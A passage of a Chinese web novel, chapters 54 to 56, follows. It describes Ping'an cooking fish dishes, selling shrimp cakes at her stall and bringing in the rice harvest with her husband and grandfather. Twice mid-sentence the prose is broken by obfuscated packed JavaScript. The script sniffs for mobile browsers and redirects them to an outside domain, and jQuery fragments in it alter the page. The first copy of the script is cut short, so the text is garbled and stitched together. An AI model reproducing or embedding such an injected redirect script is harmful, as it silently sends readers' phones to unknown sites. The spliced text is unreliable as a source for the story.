今日的晚膳，平安用鱼头、鱼骨炖了一盆鱼汤，将包好的山海兜子、鲤鱼兜子蒸制片刻后，备好醋碟、麻酱、酸梅酱、芥辣酱供蘸取。 剩下的那些绿豆粉浆，她加了些面粉与少许盐，丢入一把洗干净的小河虾，下入油锅慢炸，白色的粉浆与灰色的小虾在高温下瞬间凝固变红，鲜虾的香味亦随着晚风吹遍整个小院。 有了荤菜，素菜自然必不可少，紫苏丝瓜，清炒雍菜，亦是当季时鲜。 自家种植的丝瓜新鲜采下，刮掉丝瓜皮，切成滚刀块，入蒜末、姜丝一同煸炒，待丝瓜煸出水分，受热变软，则撒入紫苏、盐、与少许水继续焖煮。 如此做出的紫苏丝瓜滑嫩水灵，入口香软自不必提，最神奇的是它竟有股淡淡的荤香。 雍菜喜水，也可伴水而生，只择取顶端新发出的嫩叶，看着青翠欲滴，吃起来也是香嫩可口。 这兜子深得爷爷与木头好评，爷爷喜欢兜子的软糯爽口，木头喜欢兜子的新奇与鲜嫩。 这当日新鲜捕捞的大河鱼虾，自清澈流动的活水中长大，这会吃起来不但无一丝腥膻，入口更是满满的鱼虾鲜味，更别提还加了其它口感丰富的佐料。 两样兜子虽都加了鲤鱼，可味道与口感却各有千秋。 鲤鱼兜子既有鲤鱼的细嫩，又兼有油渣的油润酥脆与韭菜、陈皮的芳香，入口芳香浓郁，油而不腻。 而山海兜子，因着有山货，又有河鲜，故而得名，这会没有新鲜蕨菜，平安也是因地取材，用口感同样脆嫩的竹荪与木耳代替。在她看来，山海包容广阔，可容纳万物，多几样少几样配菜都成。 这兜子乍入口，初初品尝到的是薄韧粉糯的粉皮，紧接着，鱼虾的鲜甜霎时涌上味蕾，再细细咀嚼，山珍的鲜与清脆便跃然而出，粉糯、鲜甜、脆爽各种味道交织，融合于馥郁的香味之中，在舌尖绽放丰富的口感。 若是再蘸上自己喜欢的酱料，那味道、风味则更上一层楼。 金黄酥脆的虾饼在桌上也没受到忽视，轻轻咬上一口，自己便能清楚听到酥酥脆脆的声音回响在耳畔。 微咸的酥脆饼皮与清甜的虾肉也是绝配，酥脆与嫩弹，甜与咸，在这块小小的饼中综合得正正好。无论是用来果腹，还是用作零嘴，都不失为一道好菜。 待吃完饭，再喝上一碗雪白香浓的鱼汤溜溜缝，一家人整日的辛劳便在此刻得到抚慰。 冒险捕鱼的事不能和爷爷说，等用完膳，忙完家中杂物，夫妻俩便早早关门，一同围坐在桌前开始数钱。 “这么多！”木头望着桌子上堆积的铜钱，震惊得目瞪口呆。 “怎样？”平安喜滋滋地将铜板穿串收好。 “娘子，咱家攒了多少钱了？”木头好奇问道。 平安看了看自己记的账，心中默算片刻，报出个数：“大概是十一二贯。” “你可太厉害了娘子。”木头揽住平安，上前就是一个猛虎嗅花。 “好了，好了。”平安实在难以抵挡他的热情，掰了半晌，才将他推开。 嘴是推开了，可手却依旧如藤蔓般挽着她。 “咱们想要建个新房，这点钱可远远不够。”平安指着钱匣，依靠在他肩侧叹了口气。 知晓她怕是又有了想法，木头将她揽入怀中：“娘子接下来有什么打算？” 平安笑着挽住他的腰，正欲开口，却对上他意味不明的眼神。 54. 杀鱼的第五十四天 这下，她还如何说，两人一路插科打诨，便从桌边说到了床边。 翌日。 夫妻俩担着鱼相携赶到档口，见到平安，四周邻居纷纷打趣：“哟，大忙人今日回档口了。” 平安只是笑着转移话题：“昨天麻烦大家照料我家榆明了。” “嗐，你这人，乡里乡亲，客气什么。”看她不搭话，杨婶嗔怪地甩了甩帕子，不再好奇打探。 昨晚两人已商量好今日分工，木头负责精练杀鱼技艺，平安则片鱼、卖鱼丸与虾饼。 早在几日前，平安便从铁匠那里定了一个长柄提盏用来舀、炸面糊，这东西因形似灯盏，用它炸制出的各色饼子又被当地人称作灯盏饼。 昨日的几个地笼，捞上不少活蹦乱跳的小河虾，在清水里漂洗干净后配上她秘制的面糊，用来炸虾饼正正好。 见门前陆续出现行人，平安热情吆喝揽客：“新鲜鱼丸，现炸虾饼，香喷喷，脆酥酥的虾饼了。” “虾饼两文一个，两文一个。”木头见状，大大咧咧在门前，亦随她热情招呼。 也不管有无客人搭话，平安径直用圆形的铁盏舀上一勺面糊，上面撒上一撮小河虾，便直接下入锅中开炸。 做这生意，要的就是个热闹气与烟火气。 白色的面糊入油锅，当即发出滋滋的油响，待油水浸润面糊表面，河虾受热变红，雪白的随之凝固，化为淡淡的金黄色饼皮。 不多时，虾饼已然成型，自动脱离铁盏，浮在油锅之上。与此同时，鲜虾的荤香与面皮的焦香伴随着淡淡的香料香味随着锅气飘散开来。 平安将炸熟的虾饼夹出，放置于沥网上冷却，待油沥干，她包起一个递给木头。 “吃吧。” 木头照样发挥稳定，一边吃一边夸张喟叹，再加之四周邻里的热情附和，这虾饼便引得许多未用朝食之人纷纷驻足。 现下市场上新鲜的小河虾价格在十八文至三十文之间，新鲜的小河虾吃起来无需复杂佐料调味，炒熟后便是一股清冽的甘甜滋味，颇受当地人喜爱。 这虾饼用料扎实，油水丰润，还可以顺道尝尝虾的鲜味，许多人好奇之下便买来尝味。 一吃，果真未曾夸大。 入口外酥里嫩，焦香四溢，着实让人口舌生津，食欲大开。 见得鱼摊档口有人停驻，一些爱看热闹的人也纷纷凑上前来。 一时间，档口人满为患，虾饼的生意竟赛过鲜鱼和鱼丸。 这两天，平安权衡再三还是决定暂时放弃夜市的生意。夜市固然繁华，可也熬人。 档口每日开门早，白日里她不是在档口张罗，就是去大河捕鱼，她不在的时候，档口家里都需木头帮忙照顾。 这样算下来，其实两人白日里都没有得闲。 若每日晚间还在夜市里混迹两个时辰，做是可以做，那两人白天黑夜的时间都会被生意占据，人也会熬得疲惫不堪，这样的生活并非平安所愿。 夫妻俩一合计，还是决定将摆摊之事暂且放在白日进行。 也幸好两人之前摆摊积累了些回头客，如今鱼档搭起这副业，倒也慢慢做得红火。 在平安的说和下，玉兰在镇上的面坊找到了个临时的帮工活计，虽然不是日日有活干，但若是出了工，每日也能赚个小几十文。 最近这虾饼生意卖得红火，平安也遇着了之前摆摊的郭伯，他对平安的手艺倒是颇为欣赏。自尝过那个虾饼后，他便隔三岔五照顾生意，还给她介绍了好些个回头客。 许多客人逐渐习惯这小小的档口出现个年轻郎君热情招呼生意，平安也保持着两三日去捞上一网的频率。 虽然捕的鱼大部分按批发价卖给了鱼贩，但须知江宁府水系密布，最不缺的就是水和鱼，她这捞的鱼能卖出便算赚了。 眼见暑气蒸腾，蝉鸣渐盛，地里的稻子被轻柔的晚风拂过，仿佛在一夜间瞬间变得金黄。 让人又忧又喜的农收时节转眼到来。 在这段时间，往往天气阴晴不定。如何选好一个收割与晒谷的日子，就成了农人代代相传的看天绝活。 小满过后不久，爷爷去田里捏了捏谷穗，拍板定下家中收稻日期。 既然要收谷，那打谷的谷桶，晒谷的坪地，吹谷的风车，都得尽早安排。 她家就两亩地，平安本想着请人替他们把谷子收了，可爷爷不同意，只道：“忙活半年，也不知道能得几石米，耕田已经请了人了，这收谷再请，咱们也不要作这田了。” 木头亦深觉有理，便劝说平安歇了那个心思，只管让她先去档口，家里田地有他和爷爷操持。 平安心中记挂着事，只得从方娘子那买上些豆皮，早早从市集归家。 灰灰与小白已慢慢褪去厚绒毛与稚气，长成身高腿长的健壮小狗。 远远见得平安过来，两小只疯狂甩着尾巴，蹦蹦跳跳就往她身上扑。 “行了，行了。”看着灰灰一立一垂的耳朵，平安后退一步，笑着制止。 听得主人这样吩咐，两条狗儿乖乖蹲在身前朝她摇尾，平安放下手中木桶，从腰间摸出钥匙开门。 “等下放完东西，我们去田里看看。” 也不管它们听不听得懂，平安利索将豆皮用盖盖好，转身去坛子里捞出几块腌制的鱼块。 她利索地把腌鱼块用清水洗淡味道，倒入蜜糖与烧酒浸泡。用这两样东西浸泡腌鱼，一来是可祛除部分鱼块的腥味，二来，也可为腌鱼提鲜增味。 随后，平安从地里拔出一把香蒜和芫荽，又折了一大篮紫苏放太阳下晾晒。 处理了一些琐碎杂务，将蒜须和芫荽根部的泥沙洗干净，她戴上草帽，打上一壶茶水就往自家田里走去。 门前的小溪潺潺流动，孜孜不倦地冲刷着溪底长满青苔的石块。 清澈如镜的溪水在阳光下发出阵阵耀眼的银光，平日里溪边常见的青鳉与七星鱼这会却不见了踪影。 此起彼伏的蝉鸣声中，阵阵欢快的嬉闹打趣声传来，原来是一群光腚戏水的孩童占据了妇人们捶打衣服的石板，这会正在溪边玩闹。 见得平安经过，他们一个个吓得噗通噗通直往水里跳，一时间，溪边只余接二连三的咚咚落水声。 平安用余光瞥去，他们脸蛋霎时通红。察觉里面还有几个是她堂哥家的侄子，这会正随着伙伴捂上捂下，躲在水里欲言又止地看着她。 夏季炎热，溪中确实是个避暑良处，可是溪底湿滑，危险也不容小觑。她心中无奈，只得出声叮嘱一句：“小羊，小帆，注意安全。” “知道了，姑姑。”小羊饶饶头，心虚说道，“姑，别告诉我爹。” “玩一会了赶紧回去，水里面不安全。”平安并未直接应答，只是摆摆手，快步走过。 今日的阳光格外毒辣，在太阳下光是站上一会，身上的肌肤就被晒得生疼，也难怪溪边聚集了那样多贪凉的小孩。 平安沿着道旁的树荫，快速朝田间赶去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600958|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尚未走到那条小径，鼻间便传来一阵清新甘甜的青草香味，这是稻子的秸秆被镰刀割断所产生的独特香气。 因着家家户户耕种的时间不一样，这会田里也是青黄相间，面前广袤无边的稻田被细细窄窄的田埂划分为黄黄绿绿的齐整色块。 平安赶到时，自家田埂边已经堆满厚厚一摞割好的稻谷，隐有咯吱咯吱的木板声隔着谷堆传来。 绕过谷堆一看，木头正在不远处埋头割稻，而爷爷则在谷堆旁用谷桶不停车谷。 见得平安，爷爷笑得亲和，手脚动作却未停：“这么快就回来了，外面太阳毒，快点回去，别晒伤了。” 听见爷爷说话，弯腰干活的木头，猛然站直身体抬起头来。 他踉跄着后退一步，瞧见平安后，随即喜笑颜开地唤她：“娘子！” “给你和爷爷带了一壶茶，你们要是渴了就喝点休息一下，我得先回去做饭。”平安扬了扬手中的茶壶，朗声解释。 她本欲放下东西就走，可这会看他的脸晒得通红，那双眸子又满含期待地望着她。平安只得将茶壶放在旁边，上前替他擦了擦汗。 天气热，人也热。 木头本就体热，这会更是晒得浑身滚烫，前胸后背被热汗浸湿，那件灰蓝色的短褐干巴巴地贴在身上。平安乍然接近，便被他身上炽热的温度慑得下意识后缩。 他也未曾多言，只是垂眸静静看着她的动作。气氛在不知不觉间陡然变得紧张又微妙，两人对视一眼，各自低头撇开视线。 一时间，尴尬与沉闷的气息在两人之间缠绕。 平安不自在地抬头，入目却是他灿烂的笑脸，她抿唇轻笑一声，从腰间取出条干净手巾纳在他后脖。 “挡挡。”平安低声道。 “娘子你对我可真好。”木头出言打破沉寂，语气还是一如既往地欢快。 “走了。”平安暗松一口气，她拍了拍他的背，与爷爷打过招呼后，快步往家中赶去。 之前浸泡的鱼块这会也差不多入味，平安将早上剩的一些鱼片加入豆粉用刀背轻轻捶打，直至拍成薄薄的鱼片。 做这醉鱼汤，光靠腌鱼不够，平安又去剖了条新鲜的鲫鱼。 照例划上花刀，鱼身里外用细盐与姜片腌制。 锅中下薄油与姜片煸香，待油热，小心放入鲫鱼下锅炸制，直至两面鱼皮炸至金黄发酥，便可下清水与腌鱼同煮。 待鱼汤熬至奶白，则加入盐、口蘑丝与鱼片煮熟调味。 熬汤的间隙，平安将买来的新鲜豆皮用竹箬包住，如绑粽子般绑紧，一个个下水煮制。为防止豆皮过轻漂浮，她在上头压上干净的重物一同入锅。 灶下小火慢熬，两边锅中同时水汽蒸腾，咕噜作响。 等豆皮锅中水汽熬干，一旁的醉鱼汤也已熬成，锅盖一掀，汤底色泽奶白醇厚，散发着幽幽鲜香。 将豆皮上的石块取出，底下的豆皮已受重物挤压挛缩成一团状似鹅块的肥嫩模样，用它做出的菜，是一道有名的素菜——素烧鹅。 做好的素烧鹅，用秘制的糟油或笋卤蘸食，味道颇为肥美鲜嫩，鲜美多汁程度堪比鹅肉。 忙完这些，院外也传来爷爷他们的谈话声。 平安突然想起，刚刚洗干净的蒜须还未处理。 这夏季燥热，暑气郁结，有时候人再累也只觉食欲不振。 方才做的两道菜醇厚有余，但清爽不足，用这些蒜须与蒜末来做一道辛辣开胃的凉菜正正好。 55. 杀鱼的第五十五天 “娘子，在做什么好吃的？”木头神出鬼没地从门外探出头。 平安将蒜粒拍扁，笑着应道：“就是些粗茶淡饭，也不知道你。” “哎。”木头上前走近，亲昵地蹭了蹭她胳膊，“只要娘子做的，我都爱吃。” “嘴贫。”平安转头看了眼灶台上的菜，木头瞬间领悟，识趣将它们端到堂屋。 处理好的蒜苗须白皙脆嫩，自带一股浓烈的辛香。 平安将蒜须、蒜末、芫荽叶倒入碗中，入酱汁、香醋翻拌均匀。 这样做出的凉拌蒜须，辛香鲜辣，只需夹上少许便香得让人津液横生。 平安将最后这盆菜端上，又提上一壶紫苏酸梅饮，一家人便坐在桌前用起了午食。 “下午我也去帮帮忙。”平安将筷子递给爷爷。 “你别去。”木头与爷爷异口同声应道。 他们俩相视一笑，木头这才挨着平安解释：“早上咱们割了一亩多了，下午很快就干完。” 知晓争下去他们也不会应，平安只得转移话题：“来，先喝点汤润润嗓。” 今日这醉鱼汤，汤色虽照样奶白醇厚，可风味却与以往的鲜鱼汤迥然不同。 鲜鱼熬制所产生的鱼鲜味与腌鱼独有的窖香、酒香在奶白的鱼汤中交织融合，再辅之以鲜嫩爽口的菌菇，一口下去，简直鲜掉人的眉毛。 素烧鹅虽为素菜，但若蘸上甘美味绝的糟油，便如品尝甘旨肥浓的鹅肉般，多汁又肥嫩，细细咀嚼之下，唇齿间充斥着香浓的油脂，回味间还带有淡淡的清冽桂花余香。 若是觉得腻，喝上一口酸甜可口的紫苏饮子换口正好。 下饭时，再夹上少许辛辣的蒜须来刺激味蕾，胃口更是大开。一时间，三人不由加快扒饭的速度，桌边只余筷盘相击的清脆声响。 待酒足饭饱，爷爷和木头提着草帽与镰刀就往田里赶。 平安寻来几块砖石，压好晒谷竹席的四角。 她将装谷子的麻袋拆开，一手提着袋口，一手抄起袋底，弯腰朝竹席倾倒里面的稻谷。 随着沙沙的摩挲声响，金黄的稻粒伴随着尘黄色的谷灰缓缓落地。 不多时，竹席上已堆出数个尖尖的谷堆。 趁着这会还有太阳，平安拿出木晒耙迅速将谷堆摊平晾晒。 等忙完这些，一旁的狗子早已忍耐不住饥饿，嘤嘤往她身上扑。 看着空荡荡的狗盆，平安这才惊觉自己没有给它们喂食。 她弯腰摸了摸狗头，心虚安抚：“呀，就来就来。” 等忙完家里的琐事，平安也戴上斗笠便锁上院门出了门。 午后的时光，溪边难得地吹来两缕凉风，只是枝头的蝉鸣声与草丛里的促织鸣叫此起彼伏，无端让人觉得燥热难安。 踏过树下斑驳的光影，平安轻快地走到田间，眼前未收割的稻子没比上午少上多少。 她就知道，以木头那拖拉的速度，怎么可能半日就割上一亩多。 爷爷这会正在车谷，面前的谷桶早已积满一大堆稻谷，可身侧的谷堆却所剩无几。 平安见状，拿起镰刀就往木头身边走。 “安安，快回去啊。”胡水生连忙出声劝退。 “爷爷，不打紧，咱们早点收完早点晒谷。”一边说，平安一边往稻田走。 “你这孩子！”胡水生重重叹了口气。 木头本欲劝说，可看着自家娘子一手提着稻穗，一手利落下刀，他酝酿半晌的话瞬间被憋在喉间，上也上不得，下也下不得。 为着省功，两人割完的稻子便整齐摞在身后，只待返程一起抱走。 割着割着，两人的动作就慢了起来。 实在是骄阳似火，酷暑难耐。 入目是一片金黄的稻田，抬首亦是金灿灿的阳光，低头低得久了，再回神，所有的血液仿佛在一瞬间都朝大脑涌去，直冲得人头昏眼花，神思迷离。 空气中除了淡淡的青草香外，还充斥着燥热的气息与飞扬的尘土，一向多话的的木头在此刻都不由闭口止言。 皮肤上的炽痛不提，不消片刻，那滚烫的汗水便连连从额间鬓角，前胸后背汹涌渗出。 豆大的汗滴猝不及防地从眼角滑落至眼眶，眼睛被汗水灼得刺痛，眼前视线霎时变得模糊。平安抬臂擦了擦汗，余光却瞥见数颗晶莹的汗珠分别从木头的额角、鼻梁划过，他只是轻轻眨了眨眼睛，随即又低头认真干活。 平安惊觉，她沉寂许久的心在这一刻蓦地一颤。 两人视线倏地对上，木头咧嘴轻笑：“娘子你看我作甚？” 平安不察他竟如此警觉，她扯了扯干枯的嘴角，讷讷转移话题：“擦擦汗。” “嘿嘿。”木头睨了她一眼，小声笑道，“我就知道娘子在看我，不必羞怯。” 这人还是这样自我感觉良好，平安无语地朝他翻了个白眼，他反而哈哈大笑起来。 两个人干活速度虽快了很多，可眼见着申时已过，日渐西斜，他们还有大几分地没有收完。 爷爷那边照样抽不出闲，这打谷子也不是个轻省活，一来要小心别将谷子洒漏，二来还得认真检查稻杆上是否有残存的谷粒，做起来难免束手束脚，动作便慢了下来。 眼看着日落前收完无望，爷爷拍板先将割完的稻谷打下，运回家摊晾再说。 等到次日，家中这两亩稻子这才紧赶慢赶收完。 平安回到家，爷爷与木头还在田间忙碌。 看着院中空地已铺满谷子，想来已平晒半天。 伴随着谷粒与竹席摩擦的娑娑声响，平铺的谷子很快被平安推成数条长达一米宽约一尺的细垄，只待将菜备好再推平。 往年他们晒谷子就是这样，隔三岔五便需将谷子来回推垄、铺平，爷爷说这样有利于挥发水汽，谷子干得也快。再加上不时驱赶捣蛋的鸟雀与猫狗，留心那偷窃的小贼，这晒谷需得一个人一直照料，半晌也偷不得闲。 许是因着收谷时节，档口今日生意不错，带去的鱼虾都卖得飞快，只是平安一人收拾打扫，又去市集买菜，拖延下来回来得就晚了。 她今日买了两个海边贩来的干墨鱼，打算用它来熬一锅墨鱼汤。 做这个汤光靠墨鱼便少了些滋味，平安又去砍了一小刀肉回家。 买来的墨鱼不能直接吃，需用钳子夹好放在火上炙熟才可入菜。 干干的墨鱼与明火接触的刹那，空气中便瞬间弥漫一股鸡毛燃烧的怪味。 待墨鱼表皮微焦，边缘出现蜷曲，平安便迅速翻面，将两面交替炙烤。 烤好的墨鱼剖掉里面扁平光滑的鱼骨，便只剩薄薄一层柔韧有弹性的蜜色鱼肉。 将墨鱼表面的灰污与内里的黑色黏膜洗净，切成细条与姜片、黄酒在水中浸泡备用。 平安淘净一竹升大米，加水放锅中开焖。这会灶房的火无需人照看，她快步赶到菜园，将今日新生的长豆角摘下。 摘来的豆角新鲜脆嫩，一掰就断，平安快速将豆角抽筋，折断，剔除虫眼的部分后放入水中洗净。 最近菜园里的豆角青瓜疯长，一家人就算顿顿吃都难以吃完，往常吃水煮、清炒吃得腻了，她今日打算做豆角焖饭来消耗掉一些。 锅中放油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630762|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，加入豆角开始煸炒。 新鲜的豆角十分水嫩，遇热油后迅速噼里啪啦飞溅出细密的油珠。 平安淡定地执起锅铲翻拌，待锅中油水变稀，豆角受热均匀，则可加入少许清水开始焖煮。 这豆角若是半生不熟，轻则吃坏肚子，重则见了阎王，做这道菜，时间上可急不来。 忙完这些，平安赶了赶啄食的鸟雀，慢慢将垄好的谷子耙平。 焖熟的豆角放入少许盐调味，便可连汤带菜盖在米饭上继续焖煮。 这会墨鱼也泡得差不多，平安将墨鱼、肉片加水一起入砂锅炖煮，最后再撒上入少许姜片去腥，如此，这道墨鱼瘦肉汤便已备好，只需等待文火慢慢析出它们本身的鲜香。 做这墨鱼汤切不可提前放盐，这墨鱼本身产自海中，又用了厚盐腌制，肉中自带浓郁的咸味。若是最后汤水过咸，费盐不说，这道菜的风味都得破坏大半。 只需最后出锅时试味，再凭口感决定是否增添，如此做出来方咸淡适宜。 剩下一道菜，是油炸小鲫鱼。 这是昨日用地笼从溪边捕上来的，这会还活蹦乱跳。毫不夸张地说，这鲫鱼她远远闻着便有一股幽幽的清甜香气。 即使将这些鲫鱼掐鳃去胆，也无甚刺鼻的鱼腥味，这样的鲫鱼新鲜不说，肉质的清甜那也是江宁府的独一份。 平安把这些指长的鲫鱼冲洗干净后抹上细盐便开炸。 新鲜的小鲫鱼颜色银白，在文火与热油的烹炸下，银白的鳞片慢慢变得金黄发酥。 待一面定型，平安用筷子小心夹起鲫鱼翻面。 炸好的鲫鱼个头完整，皮不粘锅，肉不散碎。 但光是表皮定型这道菜还只算半成，将所有鲫鱼仔炸至定型后，平安加大火力，继续翻拌慢炸。 只有这样，锅中的热气才可穿透鳞片，慢慢渗入鱼肉与细刺中。 鲫鱼味虽鲜美，可与鲥鱼一般，都过多细刺，稍不注意，便得卡喉。 只有将它炸得皮酥骨烂，入口酥脆香甜，吃起来才酥香又放心。 炸鱼的间隙，外间传来木头与爷爷的谈话声。 他们这是将剩下的谷子都带回来了？ 平安朝外看了一眼，将米饭的锅掀开，这会豆角的汤汁已慢慢渗入米饭之中，但底下的米饭却依旧欠缺味道。 她用锅铲将米饭与豆角翻拌混匀，便继续盖盖焖煮。 这样做出的焖饭，豆角会被铁锅的温度慢慢炙烤出一股淡淡的焦香，豆角的香味也能充分与米饭融合。 平安小心将鲫鱼夹出沥油，耳边便已回响起木头欢快的声音：“娘子，饭做好了？” “快了。”平安笑应。 她将鲫鱼盆递给木头，自己出门看了眼院中情况，院中的空地已被稻子占满，墙角堆了几袋谷子没地方安置。 她家每年的收成都大差不离，自家院中地小，往往都需往亲戚邻居家借地，若是没多出这几袋谷子她才要担忧。 那些伯爷家中有的还没收谷，借谁家的坪地用两天应该也差不多。 思绪一转，看爷爷还在不停忙活，平安忙出声唤道：“爷爷，休息会吃饭吧。” 一家人围坐桌前，桌上摆上三俩饭菜，底下还围趴两只嘴馋垂涎的狗子，看着身边的爷爷与便宜夫君，一股久违的心安之感涌上平安心头。 在轻声细语的交谈过后，舀上碗香喷喷、微甘甜的豆角焖饭，配几只外酥里嫩，肉质清甜的酥炸小鲫鱼，再喝碗咸鲜馥郁的墨鱼汤溜溜缝，半日的积劳慢慢被这顿饱饭抚平。 谷虽收了，可接下来还有得忙活。 56. 杀鱼的第五十六天 用完午食，平安喊上木头，两人一块将谷子推到明伯家中借地晾晒。 等回到家中，爷爷又不见了踪影，想来是去田间捡拾有无遗漏的稻穗。 接下来几日，气候果真变幻无常。 前半晌还艳阳高照，风雨转眼就来，变脸比娃娃还要快。 得亏家中有人守着，见着天色不对，一家人急急忙忙推、铲、扫、倒，总算赶在大雨落地前将谷子收到了堂屋。 下雨时天又湿又热，好不容易晾晒好的谷子极其沾染地面的潮气。 除了姚小心注意雨水有无倒灌，还需要有人定时翻谷，扇风，尽力去除谷子表面的湿气。 若是谷子受潮，半年功夫白费不说，官府那边的税却怎么也不好交代。往年他们收税都是要求谷子干燥饱满，许多人家晒得湿的，通通都被罚钱打回。 今年若是出现什么缺漏，那他们可就无甚好果子吃了。 所幸这场雨来得快，走得也还算快，等到次日下午，太阳又重现天空。 收来的谷子在坪地上摊晒两三日后，谷壳逐渐变得干燥。 爷爷拈了拈谷子，小心翼翼地吹了吹谷灰。 这会的谷子早已晒得质地紧实，外壳干燥，浑然不似刚收割时那样水糯，他掐住谷粒中间，稍稍用下巧劲，谷壳便分裂成完整的两瓣，露出里面灰白色的米胚来。 将这颗米胚放入口中细细品尝，爷爷便拍板决定，今日下午要将所有谷子收好。 一时间，三人各自分工。木头在前面推耙将谷子铲做一堆，爷爷在后边拿着扫帚清扫薄薄的谷层，平安则将谷风车摆好，准备吹谷。 新鲜的稻谷晾晒过后依旧存在许多残段的秸秆与谷灰，用风车将谷子吹好过滤，一来可以让谷子更好保存，二来也将不同大小的好谷与憋壳分开。 平安用簸箕铲着谷粒倒入风谷车顶端的梯形入谷口，慢慢摇动风车把手，沉寂数月的木质风叶发出嘶哑沉闷的咿呀声响，随着轱辘慢慢转动起来。 与此同时，一阵灰蒙蒙的风伴随着把手转动从出风口飘出。 “小心谷灰！”爷爷停下手中动作，忙不迭叮嘱。 “会的，爷爷。” 爷爷不想让平安插手的原因正是在此，这稻谷的谷灰看着与泥灰无异，可它若是沾在人的肌肤上，却极易使人生疹发痒。 那种痒挠心挠肺，来得迅速又猛烈，可偏偏难以遏制，饶是耕作多年的老农都难逃它的魔爪，在胡水生心中，自家孙女细皮嫩肉，更加受不得这谷灰蹉跎。 一家人将谷子吹好，分袋藏进谷仓，这上半年的耕作终于告一段落。 家中晾晒谷子，田里也晾晒了几日稻草。 这会，地里挂在禾茬上的稻草早已被晒得干燥蓬松。 又长又直的秸秆早已被爷爷整齐堆叠码放，做出一个高大的草垛。 剩下的凌乱草屑也不能浪费，平安从杂物房找出落灰的草把子，喊上木头去田间就地扭草。 见得两人相携出门，一旁牵着孙子的王婶子出言打趣：“哟，小俩口出来了？” 平安干笑颔首，尚未等木头说话，王婶便接着问道：“你们成亲也这么久了，怎么肚子还不见动静？” 说罢，她意味不明地打量两人，转头慈爱地看向自家孙子。 “不着急。”平安瞥了这对祖孙一眼，微笑应道。 “正是，这种事都看缘分。”木头笑呵呵接话，“我们还年轻，不着急。” 此言一出，夫妻俩默契对视一眼，对上他明亮的眼神，平安轻笑出声，拉着木头走到自家田里。 “嘿嘿，我说真的，娘子，我一点也不急。”待与人群错开，木头笑嘻嘻在平安耳畔低语。 平安能说什么，能说她很急？那她今晚别想睡个安稳觉，左右说什么都落不着好，她便抿唇微笑，噤口不言。 扭这草把，最少需要两人协作。 嘱咐木头拿好把子，平安揪了一团草屑揉搓成团，将草团挂在把子的钩上。 “转动把手往后走。” “明白。”木头小心转动草把，慢步后退。 随着咯吱声响起，零碎的草絮慢慢变成一条粗糙的草绳。 “够了。” 见长度合适，平安停下添草的动作，用力拧紧草绳后，三俩下把它扭成麻花状，用根稻草把草把系好。 这些捆紧草把堆放在家中，用来做引火柴最好不过。 等忙完早稻的收割，袅袅婷婷的荷花开满池塘，鲜红水嫩的菱角俏生生地遍布河边塘角。 得闲的时候，平安喊上玉兰，两人划上小舟，带着剪子与长钩，沿河采摘新鲜的菱角。 这菱角的果实与许多蔬果不同，是垂直竖立在茎叶下方的，采摘时需将表面带刺的茎叶勾起翻转，才能剪到藏在水中的果实。 平安将果实剪下，剩下的枝叶则放回水面，等过段时间又可继续采摘。 刚成熟的菱角，四周角尖脆嫩，一掰即断，指甲可以轻易掐透那层嫣红的外壳，露出里边白皙水嫩的菱肉来。 老菱角则渐渐变为色泽深沉的红褐色，大小约成人拇指粗细，部分嫩角退化为圆润的角疤，只余两端两个长长的犄角，模样与水牛角着实有几分相似。 当地所产的菱角粉质丰富，风味甘甜，无论男女老少都爱食用，受欢迎程度堪比莲子，两者算是夏季最受欢迎的时鲜蔬果。 嫩的菱角可以生吃，也可清炒。 老的菱角可以切开晒干熬粥做药引，也可直接加上些水清煮，煮出来的菱角粉粉糯糯，入口回甘。 两人各捞上一大桶，便各自回家。 木头还是头回见到新鲜的菱角，见得平安归家，他兴冲冲地要替她将菱角按大小分好。 小菱角新鲜水嫩，吃起来嫩生生，还有一股淡淡的菱角清香，木头一边吃，一边感慨：“甘甜清爽，确实好味。” “要试试煮熟吃吗？”平安捏起一个菱角笑问。 木头伸手接过，暗自掰扯，硬邦邦的，差点没把他指甲磕断，他睨了平安一眼，见她尚未察觉，心中这才暗舒一口气。 他将菱角放下，为难地摇摇头。 “那成。”说罢，平安便提起砧板与砍刀到外间，将这些老菱角逐个切开剖肉。 “这是做什么，娘子？”木头好奇问道。 “过两日你就知道了。”平安打了个哑谜。 两人将新鲜的菱角肉切碎，放置于竹簸上晾晒。 经过两日烈阳暴晒，细碎的菱角肉水分挥发，变得干燥坚硬。 平安唤木头将石磨洗净晾晒，她则到灶房处理脆骨与绿豆。 绿豆早已用井水浸泡一夜，这会皮肉早已泡得软烂。 换水盛豆，用力搓洗掉绿豆的外皮，余下鹅黄的豆芯，一连串重复冗长的动作，平安做得细致又耐心。 将脱皮绿豆上锅蒸制，平安将脆骨汆水沥干。 看了下灶中的火候，她放下手中活计走出灶门：“磨盘干了没？” 正在逗狗的木头瞬间回神，他拍了拍手，起身往外头望去。 “干了干了。”他乐呵呵走到井边取水洗手，这才将石磨往檐下搬。 平安取了个干燥的盆递给他：“等会菱角磨成粉，就用这个盆接着。” “知道。” 看他应得干脆，平安瞥了眼一旁的狗子，叮嘱道：“别让狗毛喷进去了。” “娘子，你就放心吧。”木头一手提盆，一手把平安往里边推。 听着外头传来的沉闷磨石声响，平安将猪肉切成肉粒，入油锅小火烹炒。 待肉粒蜷缩成粉白色的肉沫，则可撒入盐末、黄豆，加水、茴香、花椒、桂皮小火熬煮。 这会蒸笼早已冒出腾腾雾气，平安掀盖捏了捏绿豆，豆子已然熟透，一捏就散。 